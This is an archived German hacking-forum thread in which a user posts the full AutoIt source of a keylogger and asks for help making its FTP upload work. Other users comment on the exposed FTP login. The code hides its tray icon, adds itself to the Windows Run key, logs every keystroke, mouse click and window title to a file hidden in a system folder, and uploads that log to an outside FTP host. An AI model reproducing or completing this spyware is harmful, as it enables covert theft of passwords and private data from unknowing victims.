PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Autoit Keylogger


dave
21.07.2009, 12:58
Hallo liebe Free-Hack User.

Ich habe mal an euch eine frage und da sind alle gefragt die ein bisschen ahnung haben von Programieren mit Autoit .

Zum Thema :
Wie der Titel schon sagt möchte ich sehr gerne ein Keylogger Programieren , er Funktioniert auch wunderbar , aber nur eins leider nocht nicht .
Ich möchte sehr gerne das die daten zum Ftp gesendet werden , ja ich weiß ich kenne die ftp.au3 ich habs auch eingebaut aber dann kommt ne Error Meldung , könnte das villeicht jemand von euch angucken ?

Were sehr nett von euch
Keylogger Code

#NoTrayIcon
#include <Misc.au3>
#include <Ftp.au3>

$serv = "test.bplaced.net"
$user = "test"
$pass = "test"

$FTP = _FTPOpen("AutoIt v3")
$FTPServer = _FTPConnect($FTP,$serv,$user,$pass,1)

ProgressOn("Upload","Uploading file [Cancel with F8]")
$x = _FTP_UploadProgress($FTPServer, "C:\WINDOWS\WinSxS\", 'log.html', "_UpdateParts")
ProgressSet(100,"Return: " & $x & @CRLF & "Error: " & @error)
Sleep(2000)
ProgressOff()

_FTPClose($FTPServer)
_FTPClose($FTP)

Func _UpdateParts($percent)
ProgressSet($percent,$percent &"%")
If _IsPressed("77") Then Return 0
Return 1 ; bei 1 Fortsetzten
Endfunc
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run", "test", "REG_SZ", '"' & @AutoItExe & '"')
Local $DATE = @YEAR & "-" & @MON & "-" & @MDAY
Local $USER32 = DllOpen("user32"), $LOG
Local $WINDOW2 = ""
Local $CAPSLOCKTOGGLE
Local $log = "C:\WINDOWS\WinSxS\" & @username & "log.html"
HotKeySet("^{F9}", "Terminate")
Opt("OnExitFunc", "Terminate")
If FileExists($LOG) = 1 Then
FileDelete($LOG)
EndIf
FileWrite($LOG, "")
FileOpen($LOG, 1)
Sleep(100)
FileWrite($LOG, "<font face=Verdana size=1>")
FileWrite($LOG, "<b><center>[#[ Log Start ]#] </center></b><br>")
FileWrite($LOG, "<b><center>[#[ History : ]#] </center></b><br>")
FileWrite($LOG, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
FileWrite($LOG, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
FileWrite($LOG, "<center><font color=#008000 style=font-size:9px>{LMS} = Linke Maus Taste<br></font></center>")
FileWrite($LOG, "<center><font color=#008000 style=font-size:9px>{RMS} = Rechte Maus Taste<br></font></center>")
FileWrite($LOG, "<center><font color=#008000 style=font-size:9px>{MMS} = Mittlere Maus Taste<br></font></center>")
FileWrite($LOG, "<br>")
FileWrite($LOG, "<b><center>[#[ Log : ]#] </center></b><br>")
While 1
For $N = 30 To 39
If _ISPRESSED($N) Then
If ((StringRight($N, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("=")
ElseIf ((StringRight($N, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("0")
ElseIf ((StringRight($N, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("!")
ElseIf ((StringRight($N, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("1")
ElseIf ((StringRight($N, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS('"')
ElseIf ((StringRight($N, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("2")
ElseIf ((StringRight($N, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("#")
ElseIf ((StringRight($N, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("3")
ElseIf ((StringRight($N, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("$")
ElseIf ((StringRight($N, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("4")
ElseIf ((StringRight($N, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("%")
ElseIf ((StringRight($N, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("5")
ElseIf ((StringRight($N, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("&")
ElseIf ((StringRight($N, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("6")
ElseIf ((StringRight($N, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("/")
ElseIf ((StringRight($N, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("7")
ElseIf ((StringRight($N, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS("(")
ElseIf ((StringRight($N, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("8")
ElseIf ((StringRight($N, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
_LOGKEYPRESS(")")
ElseIf ((StringRight($N, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
_LOGKEYPRESS("9")
EndIf
While _ISPRESSED($N) = 1
Sleep(1)
WEnd
EndIf
Next
If _ISPRESSED("2E") = 1 Then
_LOGKEYPRESS(".")
While _ISPRESSED("2E") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("3F") = 1 Then
_LOGKEYPRESS("?")
While _ISPRESSED("3F") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("B4") = 1 Then
_LOGKEYPRESS("´")
While _ISPRESSED("B4") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("2A") = 1 Then
_LOGKEYPRESS("*")
While _ISPRESSED("2A") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("2B") = 1 Then
_LOGKEYPRESS("+")
While _ISPRESSED("2B") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("27") = 1 Then
_LOGKEYPRESS("'")
While _ISPRESSED("27") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("41") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("a")
Else
_LOGKEYPRESS("A")
EndIf
While _ISPRESSED("41") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("42") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("b")
Else
_LOGKEYPRESS("B")
EndIf
While _ISPRESSED("42") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("43") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("c")
Else
_LOGKEYPRESS("C")
EndIf
While _ISPRESSED("43") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("44") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("d")
Else
_LOGKEYPRESS("D")
EndIf
While _ISPRESSED("44") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("45") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("e")
Else
_LOGKEYPRESS("E")
EndIf
While _ISPRESSED("45") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("46") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("f")
Else
_LOGKEYPRESS("F")
EndIf
While _ISPRESSED("46") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("47") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("g")
Else
_LOGKEYPRESS("G")
EndIf
While _ISPRESSED("47") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("48") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("h")
Else
_LOGKEYPRESS("H")
EndIf
While _ISPRESSED("48") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("49") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("i")
Else
_LOGKEYPRESS("I")
EndIf
While _ISPRESSED("49") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4A") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("j")
Else
_LOGKEYPRESS("J")
EndIf
While _ISPRESSED("4A") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4B") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("k")
Else
_LOGKEYPRESS("K")
EndIf
While _ISPRESSED("4B") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4C") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("l")
Else
_LOGKEYPRESS("L")
EndIf
While _ISPRESSED("4C") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4D") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("m")
Else
_LOGKEYPRESS("M")
EndIf
While _ISPRESSED("4D") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4E") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("n")
Else
_LOGKEYPRESS("N")
EndIf
While _ISPRESSED("4E") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("4F") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("o")
Else
_LOGKEYPRESS("O")
EndIf
While _ISPRESSED("4F") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("50") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("p")
Else
_LOGKEYPRESS("P")
EndIf
While _ISPRESSED("50") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("51") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("q")
Else
_LOGKEYPRESS("Q")
EndIf
While _ISPRESSED("51") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("52") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("r")
Else
_LOGKEYPRESS("R")
EndIf
While _ISPRESSED("52") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("53") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("s")
Else
_LOGKEYPRESS("S")
EndIf
While _ISPRESSED("53") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("54") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("t")
Else
_LOGKEYPRESS("T")
EndIf
While _ISPRESSED("54") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("55") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("u")
Else
_LOGKEYPRESS("U")
EndIf
While _ISPRESSED("55") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("56") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("v")
Else
_LOGKEYPRESS("V")
EndIf
While _ISPRESSED("56") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("57") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("w")
Else
_LOGKEYPRESS("W")
EndIf
While _ISPRESSED("57") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("58") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("x")
Else
_LOGKEYPRESS("X")
EndIf
While _ISPRESSED("58") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("59") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("y")
Else
_LOGKEYPRESS("Y")
EndIf
While _ISPRESSED("59") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("5A") = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LOGKEYPRESS("z")
Else
_LOGKEYPRESS("Z")
EndIf
While _ISPRESSED("5A") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("20") = 1 Then
_LOGKEYPRESS(" ")
While _ISPRESSED("20") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("01") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
While _ISPRESSED("01") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("02") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
While _ISPRESSED("02") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("04") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
While _ISPRESSED("04") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("08") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")
While _ISPRESSED("08") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("09") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
While _ISPRESSED("09") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("0d") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
While _ISPRESSED("0d") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("10") Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
While _ISPRESSED("10") = 1
For $N = 30 To 39
If _ISPRESSED($N) Then
If StringRight($N, 1) = 0 Then
_LOGKEYPRESS("=")
ElseIf StringRight($N, 1) = 1 Then
_LOGKEYPRESS("!")
ElseIf StringRight($N, 1) = 2 Then
_LOGKEYPRESS('"')
ElseIf StringRight($N, 1) = 3 Then
_LOGKEYPRESS("#")
ElseIf StringRight($N, 1) = 4 Then
_LOGKEYPRESS("$")
ElseIf StringRight($N, 1) = 5 Then
_LOGKEYPRESS("%")
ElseIf StringRight($N, 1) = 6 Then
_LOGKEYPRESS("&")
ElseIf StringRight($N, 1) = 7 Then
_LOGKEYPRESS("/")
ElseIf StringRight($N, 1) = 8 Then
_LOGKEYPRESS("(")
ElseIf StringRight($N, 1) = 9 Then
_LOGKEYPRESS(")")
EndIf
While _ISPRESSED($N) = 1
Sleep(1)
WEnd
EndIf
Next
If _ISPRESSED("41") = 1 Then _LOGKEYPRESS("A")
While _ISPRESSED("41") = 1
Sleep(1)
WEnd
If _ISPRESSED("42") = 1 Then _LOGKEYPRESS("B")
While _ISPRESSED("42") = 1
Sleep(1)
WEnd
If _ISPRESSED("43") = 1 Then _LOGKEYPRESS("C")
While _ISPRESSED("43") = 1
Sleep(1)
WEnd
If _ISPRESSED("44") = 1 Then _LOGKEYPRESS("D")
While _ISPRESSED("44") = 1
Sleep(1)
WEnd
If _ISPRESSED("45") = 1 Then _LOGKEYPRESS("E")
While _ISPRESSED("45") = 1
Sleep(1)
WEnd
If _ISPRESSED("46") = 1 Then _LOGKEYPRESS("F")
While _ISPRESSED("46") = 1
Sleep(1)
WEnd
If _ISPRESSED("47") = 1 Then _LOGKEYPRESS("G")
While _ISPRESSED("47") = 1
Sleep(1)
WEnd
If _ISPRESSED("48") = 1 Then _LOGKEYPRESS("H")
While _ISPRESSED("48") = 1
Sleep(1)
WEnd
If _ISPRESSED("49") = 1 Then _LOGKEYPRESS("I")
While _ISPRESSED("49") = 1
Sleep(1)
WEnd
If _ISPRESSED("4A") = 1 Then _LOGKEYPRESS("J")
While _ISPRESSED("4A") = 1
Sleep(1)
WEnd
If _ISPRESSED("4B") = 1 Then _LOGKEYPRESS("K")
While _ISPRESSED("4B") = 1
Sleep(1)
WEnd
If _ISPRESSED("4C") = 1 Then _LOGKEYPRESS("L")
While _ISPRESSED("4C") = 1
Sleep(1)
WEnd
If _ISPRESSED("4D") = 1 Then _LOGKEYPRESS("M")
While _ISPRESSED("4D") = 1
Sleep(1)
WEnd
If _ISPRESSED("4E") = 1 Then _LOGKEYPRESS("N")
While _ISPRESSED("4E") = 1
Sleep(1)
WEnd
If _ISPRESSED("4F") = 1 Then _LOGKEYPRESS("O")
While _ISPRESSED("4F") = 1
Sleep(1)
WEnd
If _ISPRESSED("50") = 1 Then _LOGKEYPRESS("P")
While _ISPRESSED("50") = 1
Sleep(1)
WEnd
If _ISPRESSED("51") = 1 Then _LOGKEYPRESS("Q")
While _ISPRESSED("51") = 1
Sleep(1)
WEnd
If _ISPRESSED("52") = 1 Then _LOGKEYPRESS("R")
While _ISPRESSED("52") = 1
Sleep(1)
WEnd
If _ISPRESSED("53") = 1 Then _LOGKEYPRESS("S")
While _ISPRESSED("53") = 1
Sleep(1)
WEnd
If _ISPRESSED("54") = 1 Then _LOGKEYPRESS("T")
While _ISPRESSED("54") = 1
Sleep(1)
WEnd
If _ISPRESSED("55") = 1 Then _LOGKEYPRESS("U")
While _ISPRESSED("55") = 1
Sleep(1)
WEnd
If _ISPRESSED("56") = 1 Then _LOGKEYPRESS("V")
While _ISPRESSED("56") = 1
Sleep(1)
WEnd
If _ISPRESSED("57") = 1 Then _LOGKEYPRESS("W")
While _ISPRESSED("57") = 1
Sleep(1)
WEnd
If _ISPRESSED("58") = 1 Then _LOGKEYPRESS("X")
While _ISPRESSED("58") = 1
Sleep(1)
WEnd
If _ISPRESSED("59") = 1 Then _LOGKEYPRESS("Y")
While _ISPRESSED("59") = 1
Sleep(1)
WEnd
If _ISPRESSED("5A") = 1 Then _LOGKEYPRESS("Z")
While _ISPRESSED("5A") = 1
Sleep(1)
WEnd
WEnd
ElseIf _ISPRESSED("11") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
While _ISPRESSED("11") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("12") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
While _ISPRESSED("12") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("13") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
While _ISPRESSED("13") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("14") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
$CAPSLOCKTOGGLE = 1
EndIf
While _ISPRESSED("14") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("1b") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
While _ISPRESSED("1b") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("21") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
While _ISPRESSED("21") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("22") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
While _ISPRESSED("22") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("23") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
While _ISPRESSED("23") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("24") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
While _ISPRESSED("24") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("25") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
While _ISPRESSED("25") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("26") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
While _ISPRESSED("26") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("27") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
While _ISPRESSED("27") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("28") = 1 Then
_LOGKEYPRESS("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
While _ISPRESSED("28") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("2c") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
While _ISPRESSED("2c") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("2d") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
While _ISPRESSED("2d") = 1
Sleep(1)
WEnd
ElseIf _ISPRESSED("2e") = 1 Then
_LOGKEYPRESS("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
While _ISPRESSED("2e") = 1
Sleep(1)
WEnd
EndIf
WEnd
Func _ISPRESSED($HEXKEY)
Local $AR, $BRV
$HEXKEY = "0x" & $HEXKEY
$AR = DllCall($USER32, "int", "GetAsyncKeyState", "int", $HEXKEY)
If $AR[0] <> 0 Then
$BRV = 1
Else
$BRV = 0
EndIf
Return $BRV
EndFunc



Func _LOGKEYPRESS($WHAT2LOG)
$WINDOW = WinGetTitle("")
If $WINDOW = $WINDOW2 Then
FileWrite($LOG, $WHAT2LOG)
Else
$WINDOW2 = $WINDOW
FileWrite($LOG, "<br><BR>" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : "' & $WINDOW & '"</b><br>' & $WHAT2LOG)
EndIf
EndFunc


Func TERMINATE()
DllClose($USER32)
FileClose($LOG)
Exit
EndFunc
Das ist der ganze code wie gesagt es geht alles nur halt mit den Ftp zeug nicht.
Ich bitte um antworten.

mfg dave
spamnade
21.07.2009, 15:15
Ich kann dir zu dem Thema selbst nicht helfen, aber warum schreibst du deinen FTP; Loginname und Passwort rein Ich würd da sagen:

pwn3d.

Mit freundlichen Grüßen, Spamnade
nathex
21.07.2009, 15:19
Ich kann dir zu dem Thema selbst nicht helfen, aber warum schreibst du deinen FTP; Loginname und Passwort rein
Tjo und da wir nun alle auch wissen, dass du das Passwort von seinem FTP gechanged hast, und hier nur rumspammst brauchst du dich nicht wundern, wenn du bald banned bist :)

Sowas ist nähmlich mal richtig arm...
spamnade
21.07.2009, 15:21
Neun ich hab das PW nicht geändert, ich kann es weder beweisen noch wiederlegen, ich hab den Autor lediglich darauf hingewiesen.

MfG Spamnade
slyzer
21.07.2009, 15:26
Das pw habe ich nun geändert.
aber auchnur damit ich ihm nu en Pm schreibe wo das neue PW drinne is wiel er es wohl nicht mitbekommen hat.
dave
21.07.2009, 15:29
das ist ehe egal auf diesen ftp wird nix ankommen auch wenn die daten stimmen jungs
das ist woll was drauf aber unwichtiges den habe ich mal gefunden xd
so nun weiß jeder das ich ein Held bin ;D Egeal achja wer das runtergeladen hat da sind meist nur server.exe drauf allso nix bedeutenes . Naja ich bin halt ein held von unten .


mfg